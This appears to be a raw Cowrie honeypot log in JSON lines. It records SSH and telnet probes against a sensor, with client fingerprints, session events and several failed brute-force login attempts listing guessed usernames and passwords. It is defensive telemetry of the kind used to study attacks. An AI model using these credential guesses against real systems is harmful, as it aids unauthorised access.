{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:21.708375Z","src_ip":"23.88.42.180","session":"512497f1f7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:21.800730Z","src_ip":"177.76.134.52","session":"25ac0585fc47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:21.807830Z","src_ip":"23.88.42.180","session":"512497f1f7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam_back","password":"123456","message":"login attempt [adam_back/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:22.097245Z","src_ip":"23.88.42.180","session":"512497f1f7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"1234","message":"login attempt [sammy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:22.338663Z","src_ip":"177.76.134.52","session":"25ac0585fc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:23.194865Z","src_ip":"23.88.42.180","session":"512497f1f7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:23.481451Z","src_ip":"177.76.134.52","session":"25ac0585fc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.85020399093628,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:26.180304Z","src_ip":"170.64.224.25","session":"e0f02cc9497f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":58720,"dst_ip":"10.17.0.5","dst_port":22,"session":"bce2933b6b25","protocol":"ssh","message":"New connection: 160.22.170.38:58720 (10.17.0.5:22) [session: bce2933b6b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:40.842628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:40.858671Z","src_ip":"160.22.170.38","session":"bce2933b6b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:41.463111Z","src_ip":"160.22.170.38","session":"bce2933b6b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd@","message":"login attempt [root/1234abcd@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:42.556962Z","src_ip":"160.22.170.38","session":"bce2933b6b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":52764,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfbaf7208b7f","protocol":"ssh","message":"New connection: 132.148.142.226:52764 (159.203.135.109:22) [session: bfbaf7208b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:43.231166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:43.235292Z","src_ip":"132.148.142.226","session":"bfbaf7208b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:43.300026Z","src_ip":"132.148.142.226","session":"bfbaf7208b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strk456","message":"login attempt [root/strk456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:43.496252Z","src_ip":"132.148.142.226","session":"bfbaf7208b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:43.803281Z","src_ip":"160.22.170.38","session":"bce2933b6b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:44.563924Z","src_ip":"132.148.142.226","session":"bfbaf7208b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":49474,"dst_ip":"159.203.135.109","dst_port":22,"session":"36207e428e06","protocol":"ssh","message":"New connection: 14.55.144.22:49474 (159.203.135.109:22) [session: 36207e428e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:47.764499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:47.767863Z","src_ip":"14.55.144.22","session":"36207e428e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:47.974738Z","src_ip":"14.55.144.22","session":"36207e428e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin2025","message":"login attempt [root/@Dmin2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:48.855047Z","src_ip":"14.55.144.22","session":"36207e428e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:05:50.069728Z","src_ip":"14.55.144.22","session":"36207e428e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":60424,"dst_ip":"10.17.0.5","dst_port":22,"session":"d289d1e5f02e","protocol":"ssh","message":"New connection: 91.92.40.176:60424 (10.17.0.5:22) [session: d289d1e5f02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:05.577367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:05.581342Z","src_ip":"91.92.40.176","session":"d289d1e5f02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:05.661693Z","src_ip":"91.92.40.176","session":"d289d1e5f02e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:05.909540Z","src_ip":"91.92.40.176","session":"d289d1e5f02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:06.992060Z","src_ip":"91.92.40.176","session":"d289d1e5f02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":57086,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3f9e91b233d","protocol":"ssh","message":"New connection: 38.242.143.220:57086 (10.17.0.5:22) [session: c3f9e91b233d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:07.831206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:07.834640Z","src_ip":"38.242.143.220","session":"c3f9e91b233d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:07.943411Z","src_ip":"38.242.143.220","session":"c3f9e91b233d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dot","password":"dot2024","message":"login attempt [dot/dot2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:08.268710Z","src_ip":"38.242.143.220","session":"c3f9e91b233d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:09.360332Z","src_ip":"38.242.143.220","session":"c3f9e91b233d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":40462,"dst_ip":"159.203.135.109","dst_port":22,"session":"9919ddc159b0","protocol":"ssh","message":"New connection: 162.144.64.128:40462 (159.203.135.109:22) [session: 9919ddc159b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:24.163028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:24.167653Z","src_ip":"162.144.64.128","session":"9919ddc159b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:24.257071Z","src_ip":"162.144.64.128","session":"9919ddc159b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1!Tr0ng#P@ss","message":"login attempt [root/G3m1n1!Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:24.522261Z","src_ip":"162.144.64.128","session":"9919ddc159b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56348,"dst_ip":"159.203.135.109","dst_port":23,"session":"d503274f9c8d","protocol":"telnet","message":"New connection: 170.64.224.25:56348 (159.203.135.109:23) [session: d503274f9c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:25.118585Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:25.904299Z","src_ip":"162.144.64.128","session":"9919ddc159b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55360,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43b5ee1ffe2","protocol":"telnet","message":"New connection: 137.184.5.188:55360 (159.203.135.109:23) [session: b43b5ee1ffe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:31.826827Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":45576,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1980424557","protocol":"ssh","message":"New connection: 162.144.213.198:45576 (10.17.0.5:22) [session: cf1980424557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:42.019186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:42.022879Z","src_ip":"162.144.213.198","session":"cf1980424557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa